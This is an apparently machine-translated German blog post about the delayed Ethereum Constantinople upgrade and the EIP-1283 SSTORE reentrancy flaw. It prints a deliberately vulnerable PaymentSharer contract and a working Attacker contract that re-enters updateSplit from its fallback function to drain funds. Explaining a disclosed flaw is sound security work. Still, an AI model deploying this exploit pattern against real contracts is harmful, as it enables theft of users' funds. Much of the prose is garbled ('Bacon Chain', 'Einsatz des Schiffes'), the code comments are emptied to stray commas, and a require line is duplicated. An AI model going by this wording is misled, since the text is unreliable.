* Viele Leute nennen dieses Ereignis eine "harte Gabel", aber Vitalik ist dagegen .Die lang erwartete Veröffentlichung von Konstantinopel sollte
am 17. Januar um 4
Uhr UTC stattfinden . Wieder einmal brach die unzählige Armee von Entwicklern von
Countdown-Zählern brutal ab
, dies würde jedoch nicht wahr werden.
30 Stunden vor der offiziellen Veröffentlichung wurde das Update aufgrund der festgestellten Sicherheitslücke, die sich an dem Grundsatz „besser verwoben als nicht unterbrechen“ orientierte, auf unbestimmte Zeit verschoben.
Ein Ereignis, das die Ohren der gesamten Community erregte, war das rücksichtslose Angebot von
EIP 1283 , das die Kosten für die Ausführung der SSTORE-Anweisung (sic!) Reduziert. Im Allgemeinen war eine der Hauptrichtungen des Updates die billigere und schnellere Ausführung besonders schwerer Anweisungen.
Die Ereignisse vom 15. Januar entwickelten sich
wie folgt (Zeit in PST):
- Um 8 Uhr morgens veröffentlicht ChainSecurity eine Beschreibung der Sicherheitsanfälligkeit .
- Genau dort weckt Martin Holst Swende (der Hauptsicherheitsbeamte der Ethereum Foundation) alle wichtigen Entwickler und erinnert sich, dass nur noch 37 Stunden bis zum Update verbleiben, und hier haben wir es .
- vor Mittag gibt es eine hitzige Debatte in Chatrooms und "Stimme";
- Bis zum Abendessen wurde beschlossen, das Update abzubrechen.
Die Situation wurde durch die Tatsache verschärft, dass der Zeitpunkt für den Einsatz des Schiffes sehr schlecht gewählt wurde: Fast die Hälfte der Knoten konnte aktualisiert werden, und alle anderen wurden in den letzten Wochen methodisch und beharrlich gekickt. Infolgedessen müssen die aktualisierten Knoten jetzt erneut aktualisiert werden (entweder nach oben oder nach unten ... mda). Und wer hatte keine Zeit und hat alles durchgeschlafen - gut gemacht, sie müssen nichts tun.
Dann war alles vorhersehbar - der Markt reagierte mit einem 5% igen Zusammenbruch der Ätherrate (haha). Viele waren natürlich empört darüber, wie der Preis der Anweisung die Geheimhaltung beeinflussen kann, warum Sie sie dort abgelegt haben und all das ... Aber in der Tat, nichts Ungewöhnliches, alles ist wie alle anderen.
Es ist besser, die technischen Details der Sicherheitsanfälligkeit im Originalartikel von
ChainSecurity zu lesen . Es ist nicht schwer, dies herauszufinden.
Wer ist zu faul, um in den Code einzutauchen? Der Punkt ist, dass die SSTORE-Anweisung vor dem Update so teuer war, dass es keine Möglichkeit gab, den "Status" von anderen Verträgen zu ändern. Nach dem Konstantinopel-Update wurde die Anweisung billiger (und) und Sie können den "Store" ändern. viele Male, wodurch die Logik des gefährdeten Vertrags geändert wird.
Anfälliger Vertragscode (mit meinen Kommentaren):
pragma solidity ^0.5.0; contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second; // , ( ) function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; } // , function deposit(uint id) public payable { deposits[id] += msg.value; } // function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; } // , ( split) function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split // Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0; // ( fallback- ) a.transfer(depo * splits[id] / 100); // - ( ) b.transfer(depo * (100 - splits[id]) / 100); } }
Angriffsvertragscode:
pragma solidity ^0.5.0; import "./PaymentSharer.sol"; contract Attacker { address private victim; address payable owner; constructor() public { owner = msg.sender; } // *, PaymentSharer function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); } // fallback , transfer- function () payable external { address x = victim; // , ( , updateSplit(0, 0)), .. Split assembly{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } } function drain() external { owner.transfer(address(this).balance); } }
* im Original fehlt, aber irgendwo sollte das Formular initialisiert werden:
init (0, "Vertragsadresse des Angreifers", "Brieftaschenadresse des Angreifers")
bevor Sie die Angriffsmethode aufrufen.
Natürlich gibt es viele Fragen zum PaymentSharer-Vertrag selbst, bei denen uns die Verwundbarkeit gezeigt wird, er an sich krumm blind ist und in dem das Problem liegt
und nicht im Preis von SSTORE und im Allgemeinen - sie fanden kein lebendiges Beispiel im Release-Netzwerk, beschlossen jedoch, auf Nummer sicher zu gehen, obwohl der Preis für den Fehler möglicherweise zu hoch ist (alle erinnerten sich an das längst verstorbene DAO hier).
Im Allgemeinen hat die Ethereum-Community viele interessante Ereignisse: Der Kampf der Kardinäle des Grauen Marktes (GPU gegen ASIC) hat sich verschärft, was an sich einen separaten Artikel verdient. Die bevorstehende Veröffentlichung von Bacon Chain gewinnt an Dynamik - das Jahr verspricht reich an Ereignissen und Intrigen.